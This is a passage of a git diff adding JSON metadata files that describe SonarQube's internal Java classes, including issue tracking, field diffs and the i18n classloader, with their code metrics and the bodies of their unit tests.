b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/i18n/I18n.json @@ -0,0 +1,13 @@ +{ + "name": "I18n", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 83, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/i18n/I18nClassloader.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/i18n/I18nClassloader.json new file mode 100644 index 0000000..acb250b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/i18n/I18nClassloader.json @@ -0,0 +1,38 @@ +{ + "name": "I18nClassloader", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 40, + "branches": 3, + "apis": 14, + "test": [ + { + "description": "aggregate_plugin_classloaders", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void aggregate_plugin_classloaders() {\n\n URLClassLoader checkstyle = newCheckstyleClassloader();\n\n\n\n I18nClassloader i18nClassloader = new I18nClassloader(Lists.newArrayList(checkstyle));\n\n assertThat(i18nClassloader.getResource(\"org/sonar/l10n/checkstyle.properties\")).isNotNull();\n\n assertThat(i18nClassloader.getResource(\"org/sonar/l10n/checkstyle.properties\").getFile()).endsWith(\"checkstyle.properties\");\n\n }" + }, + { + "description": "contain_its_own_classloader", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void contain_its_own_classloader() {\n\n assertThat(i18nClassloader.getResource(\"org/sonar/l10n/core.properties\")).isNotNull();\n\n }" + }, + { + "description": "return_null_if_resource_not_found", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void return_null_if_resource_not_found() {\n\n assertThat(i18nClassloader.getResource(\"org/unknown.properties\")).isNull();\n\n }" + }, + { + "description": "override_toString", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void override_toString() {\n\n assertThat(i18nClassloader).hasToString(\"i18n-classloader\");\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/AnticipatedTransition.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/AnticipatedTransition.json new file mode 100644 index 0000000..ef32e71 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/AnticipatedTransition.json @@ -0,0 +1,26 @@ +{ + "name": "AnticipatedTransition", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 103, + "branches": 2, + "apis": 13, + "test": [ + { + "description": "givenTwoAnticipatedTransitions_whenFieldsHaveTheSameValue_theyShouldBeEqual", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void givenTwoAnticipatedTransitions_whenFieldsHaveTheSameValue_theyShouldBeEqual() {\n\n AnticipatedTransition anticipatedTransition = getAnticipatedTransition();\n\n AnticipatedTransition anticipatedTransition2 = getAnticipatedTransition();\n\n\n\n assertFieldsAreTheSame(anticipatedTransition, anticipatedTransition2);\n\n Assertions.assertThat(anticipatedTransition).isEqualTo(anticipatedTransition2);\n\n }" + }, + { + "description": "givenTwoAnticipatedTransitions_whenFieldsHaveTheSameValue_hashcodeShouldBeTheSame", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void givenTwoAnticipatedTransitions_whenFieldsHaveTheSameValue_hashcodeShouldBeTheSame() {\n\n AnticipatedTransition anticipatedTransition = getAnticipatedTransition();\n\n AnticipatedTransition anticipatedTransition2 = getAnticipatedTransition();\n\n\n\n assertFieldsAreTheSame(anticipatedTransition, anticipatedTransition2);\n\n Assertions.assertThat(anticipatedTransition).hasSameHashCodeAs(anticipatedTransition2);\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/DefaultImpact.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/DefaultImpact.json new file mode 100644 index 0000000..5870501 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/DefaultImpact.json @@ -0,0 +1,13 @@ +{ + "name": "DefaultImpact", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 24, + "branches": 2, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/DefaultIssue.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/DefaultIssue.json new file mode 100644 index 0000000..11f25cc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/DefaultIssue.json @@ -0,0 +1,13 @@ +{ + "name": "DefaultIssue", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 575, + "branches": 23, + "apis": 50, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/DefaultIssueComment.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/DefaultIssueComment.json new file mode 100644 index 0000000..3f99733 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/DefaultIssueComment.json @@ -0,0 +1,13 @@ +{ + "name": "DefaultIssueComment", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 76, + "branches": 1, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/FieldDiffs.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/FieldDiffs.json new file mode 100644 index 0000000..52b41b7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/FieldDiffs.json @@ -0,0 +1,116 @@ +{ + "name": "FieldDiffs", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 238, + "branches": 25, + "apis": 66, + "test": [ + { + "description": "diffs_should_be_empty_by_default", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void diffs_should_be_empty_by_default() {\n\n assertThat(diffs.diffs()).isEmpty();\n\n }" + }, + { + "description": "test_diff", + "expected-problems": null, + "expected-linenumbers": 11, + "code": " public void test_diff() {\n\n diffs.setDiff(\"severity\", \"BLOCKER\", \"INFO\");\n\n diffs.setDiff(\"resolution\", \"OPEN\", \"FIXED\");\n\n\n\n assertThat(diffs.diffs()).hasSize(2);\n\n\n\n FieldDiffs.Diff diff = diffs.diffs().get(\"severity\");\n\n assertThat(diff.oldValue()).isEqualTo(\"BLOCKER\");\n\n assertThat(diff.newValue()).isEqualTo(\"INFO\");\n\n\n\n diff = diffs.diffs().get(\"resolution\");\n\n assertThat(diff.oldValue()).isEqualTo(\"OPEN\");\n\n assertThat(diff.newValue()).isEqualTo(\"FIXED\");\n\n }" + }, + { + "description": "diff_with_long_values", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void diff_with_long_values() {\n\n diffs.setDiff(\"technicalDebt\", 50L, \"100\");\n\n\n\n FieldDiffs.Diff diff = diffs.diffs().get(\"technicalDebt\");\n\n assertThat(diff.oldValueLong()).isEqualTo(50L);\n\n assertThat(diff.newValueLong()).isEqualTo(100L);\n\n }" + }, + { + "description": "diff_with_empty_long_values", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void diff_with_empty_long_values() {\n\n diffs.setDiff(\"technicalDebt\", null, \"\");\n\n\n\n FieldDiffs.Diff diff = diffs.diffs().get(\"technicalDebt\");\n\n assertThat(diff.oldValueLong()).isNull();\n\n assertThat(diff.newValueLong()).isNull();\n\n }" + }, + { + "description": "diff_with_assignee", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void diff_with_assignee() {\n\n diffs.setDiff(\"assignee\", \"oldAssignee\", NAME_WITH_RESERVED_CHARS);\n\n\n\n FieldDiffs.Diff diff = diffs.diffs().get(\"assignee\");\n\n assertThat(diff.oldValue()).isEqualTo(\"oldAssignee\");\n\n assertThat(diff.newValue()).isEqualTo(NAME_WITH_RESERVED_CHARS);\n\n }" + }, + { + "description": "get", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void get() {\n\n diffs.setDiff(\"severity\", \"BLOCKER\", \"INFO\");\n\n\n\n FieldDiffs.Diff diff = diffs.get(\"severity\");\n\n assertThat(diff.oldValue()).isEqualTo(\"BLOCKER\");\n\n assertThat(diff.newValue()).isEqualTo(\"INFO\");\n\n }" + }, + { + "description": "get_with_assignee", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void get_with_assignee() {\n\n diffs.setDiff(\"assignee\", \"oldAssignee\", NAME_WITH_RESERVED_CHARS);\n\n\n\n FieldDiffs.Diff diff = diffs.get(\"assignee\");\n\n assertThat(diff.oldValue()).isEqualTo(\"oldAssignee\");\n\n assertThat(diff.newValue()).isEqualTo(NAME_WITH_RESERVED_CHARS);\n\n }" + }, + { + "description": "test_diff_by_key", + "expected-problems": null, + "expected-linenumbers": 11, + "code": " public void test_diff_by_key() {\n\n diffs.setDiff(\"severity\", \"BLOCKER\", \"INFO\");\n\n diffs.setDiff(\"resolution\", \"OPEN\", \"FIXED\");\n\n\n\n assertThat(diffs.diffs()).hasSize(2);\n\n\n\n FieldDiffs.Diff diff = diffs.diffs().get(\"severity\");\n\n assertThat(diff.oldValue()).isEqualTo(\"BLOCKER\");\n\n assertThat(diff.newValue()).isEqualTo(\"INFO\");\n\n\n\n diff = diffs.diffs().get(\"resolution\");\n\n assertThat(diff.oldValue()).isEqualTo(\"OPEN\");\n\n assertThat(diff.newValue()).isEqualTo(\"FIXED\");\n\n }" + }, + { + "description": "should_keep_old_value", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void should_keep_old_value() {\n\n diffs.setDiff(\"severity\", \"BLOCKER\", \"INFO\");\n\n diffs.setDiff(\"severity\", null, \"MAJOR\");\n\n FieldDiffs.Diff diff = diffs.diffs().get(\"severity\");\n\n assertThat(diff.oldValue()).isEqualTo(\"BLOCKER\");\n\n assertThat(diff.newValue()).isEqualTo(\"MAJOR\");\n\n }" + }, + { + "description": "test_toString", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void test_toString() {\n\n diffs.setWebhookSource(\"github\");\n\n diffs.setExternalUser(\"toto\");\n\n diffs.setDiff(\"severity\", \"BLOCKER\", \"INFO\");\n\n diffs.setDiff(\"resolution\", \"OPEN\", \"FIXED\");\n\n\n\n assertThat(diffs).hasToString(\"webhookSource=github,externalUser=toto,severity=BLOCKER|INFO,resolution=OPEN|FIXED\");\n\n }" + }, + { + "description": "test_toEncodedString", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void test_toEncodedString() {\n\n diffs.setDiff(\"assignee\", \"oldAssignee\", NAME_WITH_RESERVED_CHARS);\n\n diffs.setDiff(\"resolution\", \"OPEN\", \"FIXED\");\n\n\n\n assertThat(diffs.toEncodedString()).isEqualTo(\"assignee=oldAssignee|\" + ENCODED_NAME_WITH_RESERVED_CHARS + \",resolution=OPEN|FIXED\");\n\n }" + }, + { + "description": "test_toString_with_null_values", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void test_toString_with_null_values() {\n\n diffs.setDiff(\"severity\", null, \"INFO\");\n\n diffs.setDiff(\"assignee\", \"user1\", null);\n\n\n\n assertThat(diffs).hasToString(\"severity=INFO,assignee=user1|\");\n\n }" + }, + { + "description": "test_parse", + "expected-problems": null, + "expected-linenumbers": 21, + "code": " public void test_parse() {\n\n diffs = FieldDiffs.parse(\"severity=BLOCKER|INFO,webhookSource=github,resolution=OPEN|FIXED,donut=|new,gambas=miam,acme=old|,externalUser=charlie\");\n\n assertThat(diffs.diffs()).hasSize(5);\n\n\n\n assertThat(diffs.webhookSource()).contains(\"github\");\n\n assertThat(diffs.externalUser()).contains(\"charlie\");\n\n\n\n FieldDiffs.Diff diff = diffs.diffs().get(\"severity\");\n\n assertThat(diff.oldValue()).isEqualTo(\"BLOCKER\");\n\n assertThat(diff.newValue()).isEqualTo(\"INFO\");\n\n\n\n diff = diffs.diffs().get(\"resolution\");\n\n assertThat(diff.oldValue()).isEqualTo(\"OPEN\");\n\n assertThat(diff.newValue()).isEqualTo(\"FIXED\");\n\n\n\n diff = diffs.diffs().get(\"donut\");\n\n assertThat(diff.oldValue()).isNull();\n\n assertThat(diff.newValue()).isEqualTo(\"new\");\n\n\n\n diff = diffs.diffs().get(\"gambas\");\n\n assertThat(diff.oldValue()).isNull();\n\n assertThat(diff.newValue()).isEqualTo(\"miam\");\n\n\n\n diff = diffs.diffs().get(\"acme\");\n\n assertThat(diff.oldValue()).isEqualTo(\"old\");\n\n assertThat(diff.newValue()).isNull();\n\n }" + }, + { + "description": "test_parse_encoded_assignee", + "expected-problems": null, + "expected-linenumbers": 10, + "code": " public void test_parse_encoded_assignee() {\n\n diffs = FieldDiffs.parse(\"severity=BLOCKER|INFO,assignee=oldValue|\" + ENCODED_NAME_WITH_RESERVED_CHARS);\n\n assertThat(diffs.diffs()).hasSize(2);\n\n\n\n FieldDiffs.Diff diff = diffs.diffs().get(\"severity\");\n\n assertThat(diff.oldValue()).isEqualTo(\"BLOCKER\");\n\n assertThat(diff.newValue()).isEqualTo(\"INFO\");\n\n\n\n diff = diffs.diffs().get(\"assignee\");\n\n assertThat(diff.oldValue()).isEqualTo(\"oldValue\");\n\n assertThat(diff.newValue()).isEqualTo(NAME_WITH_RESERVED_CHARS);\n\n }" + }, + { + "description": "test_parse_empty_values", + "expected-problems": null, + "expected-linenumbers": 12, + "code": " public void test_parse_empty_values() {\n\n diffs = FieldDiffs.parse(\"severity=INFO,resolution=,webhookSource=,externalUser=\");\n\n\n\n assertThat(diffs.externalUser()).isEmpty();\n\n assertThat(diffs.webhookSource()).isEmpty();\n\n assertThat(diffs.diffs()).hasSize(2);\n\n\n\n FieldDiffs.Diff diff = diffs.diffs().get(\"severity\");\n\n assertThat(diff.oldValue()).isNull();\n\n assertThat(diff.newValue()).isEqualTo(\"INFO\");\n\n\n\n diff = diffs.diffs().get(\"resolution\");\n\n assertThat(diff.oldValue()).isNull();\n\n assertThat(diff.newValue()).isNull();\n\n }" + }, + { + "description": "test_parse_null", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void test_parse_null() {\n\n diffs = FieldDiffs.parse(null);\n\n assertThat(diffs.diffs()).isEmpty();\n\n }" + }, + { + "description": "test_parse_empty", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void test_parse_empty() {\n\n diffs = FieldDiffs.parse(\"\");\n\n assertThat(diffs.diffs()).isEmpty();\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/IssueChangeContext.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/IssueChangeContext.json new file mode 100644 index 0000000..818910b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/IssueChangeContext.json @@ -0,0 +1,44 @@ +{ + "name": "IssueChangeContext", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 100, + "branches": 2, + "apis": 13, + "test": [ + { + "description": "test_issueChangeContextByScanBuilder", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void test_issueChangeContextByScanBuilder() {\n\n context = issueChangeContextByScanBuilder(NOW).build();\n\n\n\n verifyContext(true, false, null, null, null);\n\n }" + }, + { + "description": "test_issueChangeContextByUserBuilder", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void test_issueChangeContextByUserBuilder() {\n\n context = issueChangeContextByUserBuilder(NOW, USER_UUID).build();\n\n\n\n verifyContext(false, false, USER_UUID, null, null);\n\n }" + }, + { + "description": "test_newBuilder", + "expected-problems": null, + "expected-linenumbers": 11, + "code": " public void test_newBuilder() {\n\n context = IssueChangeContext.newBuilder()\n\n .withScan()\n\n .withRefreshMeasures()\n\n .setUserUuid(USER_UUID)\n\n .setDate(NOW)\n\n .setExternalUser(EXTERNAL_USER)\n\n .setWebhookSource(WEBHOOK_SOURCE)\n\n .build();\n\n\n\n verifyContext(true, true, USER_UUID, EXTERNAL_USER, WEBHOOK_SOURCE);\n\n }" + }, + { + "description": "test_equal", + "expected-problems": null, + "expected-linenumbers": 20, + "code": " public void test_equal() {\n\n context = IssueChangeContext.newBuilder()\n\n .setUserUuid(USER_UUID)\n\n .setDate(NOW)\n\n .setExternalUser(EXTERNAL_USER)\n\n .setWebhookSource(WEBHOOK_SOURCE)\n\n .build();\n\n IssueChangeContext equalContext = IssueChangeContext.newBuilder()\n\n .setUserUuid(USER_UUID)\n\n .setDate(NOW)\n\n .setExternalUser(EXTERNAL_USER)\n\n .setWebhookSource(WEBHOOK_SOURCE)\n\n .build();\n\n IssueChangeContext notEqualContext = IssueChangeContext.newBuilder().setUserUuid(\"other_user_uuid\").setDate(NOW).build();\n\n\n\n assertThat(context).isEqualTo(context)\n\n .isEqualTo(equalContext)\n\n .isNotEqualTo(notEqualContext)\n\n .isNotEqualTo(null)\n\n .isNotEqualTo(new Object());\n\n }" + }, + { + "description": "test_hashCode", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void test_hashCode() {\n\n context = IssueChangeContext.newBuilder().setUserUuid(USER_UUID).setDate(NOW).build();\n\n\n\n assertThat(context.hashCode()).isEqualTo(Objects.hash(USER_UUID, NOW, false, false, null, null));\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/AbstractTracker.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/AbstractTracker.json new file mode 100644 index 0000000..a3dc0f2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/AbstractTracker.json @@ -0,0 +1,44 @@ +{ + "name": "AbstractTracker", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 169, + "branches": 11, + "apis": 61, + "test": [ + { + "description": "lineAndLineHashKey", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void lineAndLineHashKey() {\n\n Comparator comparator = new Comparator(LineAndLineHashKey::new);\n\n comparator.sameEqualsAndHashcode(base, same);\n\n comparator.sameEqualsAndHashcode(base, diffMessage);\n\n comparator.differentEquals(base, diffRule);\n\n comparator.differentEquals(base, diffLineHash);\n\n comparator.differentEquals(base, diffLine);\n\n }" + }, + { + "description": "lineAndLineHashAndMessage", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void lineAndLineHashAndMessage() {\n\n Comparator comparator = new Comparator(LineAndLineHashAndMessage::new);\n\n comparator.sameEqualsAndHashcode(base, same);\n\n comparator.differentEquals(base, diffMessage);\n\n comparator.differentEquals(base, diffRule);\n\n comparator.differentEquals(base, diffLineHash);\n\n comparator.differentEquals(base, diffLine);\n\n }" + }, + { + "description": "lineHashAndMessageKey", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void lineHashAndMessageKey() {\n\n Comparator comparator = new Comparator(LineHashAndMessageKey::new);\n\n comparator.sameEqualsAndHashcode(base, same);\n\n comparator.sameEqualsAndHashcode(base, diffLine);\n\n comparator.differentEquals(base, diffMessage);\n\n comparator.differentEquals(base, diffRule);\n\n comparator.differentEquals(base, diffLineHash);\n\n }" + }, + { + "description": "lineAndMessageKey", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void lineAndMessageKey() {\n\n Comparator comparator = new Comparator(LineAndMessageKey::new);\n\n comparator.sameEqualsAndHashcode(base, same);\n\n comparator.sameEqualsAndHashcode(base, diffLineHash);\n\n comparator.differentEquals(base, diffMessage);\n\n comparator.differentEquals(base, diffRule);\n\n comparator.differentEquals(base, diffLine);\n\n }" + }, + { + "description": "lineHashKey", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void lineHashKey() {\n\n Comparator comparator = new Comparator(LineHashKey::new);\n\n comparator.sameEqualsAndHashcode(base, same);\n\n comparator.sameEqualsAndHashcode(base, diffLine);\n\n comparator.sameEqualsAndHashcode(base, diffMessage);\n\n comparator.differentEquals(base, diffRule);\n\n comparator.differentEquals(base, diffLineHash);\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/AnticipatedTransitionTracker.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/AnticipatedTransitionTracker.json new file mode 100644 index 0000000..93656f0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/AnticipatedTransitionTracker.json @@ -0,0 +1,20 @@ +{ + "name": "AnticipatedTransitionTracker", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 17, + "branches": 0, + "apis": 0, + "test": [ + { + "description": "givenIssuesAndAnticipatedTransitions_trackerShouldReturnTheExpectedMatching", + "expected-problems": null, + "expected-linenumbers": 16, + "code": " public void givenIssuesAndAnticipatedTransitions_trackerShouldReturnTheExpectedMatching() {\n\n\n\n List issues = getIssues();\n\n List anticipatedTransitions = getAnticipatedTransitions();\n\n\n\n Tracking tracking = underTest.track(issues, anticipatedTransitions);\n\n\n\n var matchedRaws = tracking.getMatchedRaws();\n\n var unmatchedRaws = tracking.getUnmatchedRaws().collect(Collectors.toList());\n\n\n\n assertThat(matchedRaws).hasSize(5);\n\n assertThat(unmatchedRaws).hasSize(2);\n\n\n\n assertThat(matchedRaws.keySet()).containsExactlyInAnyOrder(issues.get(0), issues.get(1), issues.get(2), issues.get(3), issues.get(4));\n\n assertThat(unmatchedRaws).containsExactlyInAnyOrder(issues.get(5), issues.get(6));\n\n\n\n assertThat(matchedRaws).containsEntry(issues.get(0), anticipatedTransitions.get(1))\n\n .containsEntry(issues.get(1), anticipatedTransitions.get(0))\n\n .containsEntry(issues.get(2), anticipatedTransitions.get(3))\n\n .containsEntry(issues.get(3), anticipatedTransitions.get(2))\n\n .containsEntry(issues.get(4), anticipatedTransitions.get(6));\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/BlockHashSequence.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/BlockHashSequence.json new file mode 100644 index 0000000..766d273 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/BlockHashSequence.json @@ -0,0 +1,20 @@ +{ + "name": "BlockHashSequence", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 6, + "apis": 16, + "test": [ + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": 10, + "code": " public void test() {\n\n BlockHashSequence a = new BlockHashSequence(LineHashSequence.createForLines(asList(\"line0\", \"line1\", \"line2\")), 1);\n\n BlockHashSequence b = new BlockHashSequence(LineHashSequence.createForLines(asList(\"line0\", \"line1\", \"line2\", \"line3\")), 1);\n\n\n\n assertThat(a.getBlockHashForLine(1)).isEqualTo(b.getBlockHashForLine(1));\n\n assertThat(a.getBlockHashForLine(2)).isEqualTo(b.getBlockHashForLine(2));\n\n assertThat(a.getBlockHashForLine(3)).isNotEqualTo(b.getBlockHashForLine(3));\n\n\n\n BlockHashSequence c = new BlockHashSequence(LineHashSequence.createForLines(asList(\"line-1\", \"line0\", \"line1\", \"line2\", \"line3\")), 1);\n\n assertThat(a.getBlockHashForLine(1)).isNotEqualTo(c.getBlockHashForLine(2));\n\n assertThat(a.getBlockHashForLine(2)).isEqualTo(c.getBlockHashForLine(3));\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/BlockRecognizer.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/BlockRecognizer.json new file mode 100644 index 0000000..f9b7386 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/BlockRecognizer.json @@ -0,0 +1,26 @@ +{ + "name": "BlockRecognizer", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 140, + "branches": 24, + "apis": 53, + "test": [ + { + "description": "lengthOfMaximalBlock", + "expected-problems": null, + "expected-linenumbers": 11, + "code": " public void lengthOfMaximalBlock() {\n\n /**\n\n * - line 4 of first sequence is \"d\"\n\n * - line 4 of second sequence is \"d\"\n\n * - in each sequence, the 3 lines before and the line after are similar -> block size is 5\n\n */\n\n assertThat(compute(seq(\"abcde\"), seq(\"abcde\"), 4, 4)).isEqualTo(5);\n\n\n\n assertThat(compute(seq(\"abcde\"), seq(\"abcd\"), 4, 4)).isEqualTo(4);\n\n assertThat(compute(seq(\"bcde\"), seq(\"abcde\"), 4, 4)).isZero();\n\n assertThat(compute(seq(\"bcde\"), seq(\"abcde\"), 3, 4)).isEqualTo(4);\n\n }" + }, + { + "description": "isOverLimit", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void isOverLimit() {\n\n assertThat(BlockRecognizer.isOverLimit(20, 40)).isFalse();\n\n assertThat(BlockRecognizer.isOverLimit(3, 100_000)).isTrue();\n\n\n\n // multiplication of these two ints is higher than Integer.MAX_VALUE\n\n assertThat(BlockRecognizer.isOverLimit(50_000, 60_000)).isTrue();\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/FilteringBaseInputWrapper.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/FilteringBaseInputWrapper.json new file mode 100644 index 0000000..6700344 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/FilteringBaseInputWrapper.json @@ -0,0 +1,13 @@ +{ + "name": "FilteringBaseInputWrapper", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 23, + "branches": 0, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/Input.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/Input.json new file mode 100644 index 0000000..b3b3009 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/Input.json @@ -0,0 +1,13 @@ +{ + "name": "Input", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 5, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/LazyInput.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/LazyInput.json new file mode 100644 index 0000000..ca64193 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/LazyInput.json @@ -0,0 +1,13 @@ +{ + "name": "LazyInput", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 28, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/LineHashSequence.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/LineHashSequence.json new file mode 100644 index 0000000..8a42894 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/LineHashSequence.json @@ -0,0 +1,13 @@ +{ + "name": "LineHashSequence", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 54, + "branches": 4, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/NonClosedTracking.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/NonClosedTracking.json new file mode 100644 index 0000000..8a98439 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/NonClosedTracking.json @@ -0,0 +1,13 @@ +{ + "name": "NonClosedTracking", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 19, + "branches": 0, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/SimpleTracker.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/SimpleTracker.json new file mode 100644 index 0000000..92e66aa --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/SimpleTracker.json @@ -0,0 +1,13 @@ +{ + "name": "SimpleTracker", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 10, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/Trackable.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/Trackable.json new file mode 100644 index 0000000..b3f1a39 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/Trackable.json @@ -0,0 +1,13 @@ +{ + "name": "Trackable", + "language": "java", + 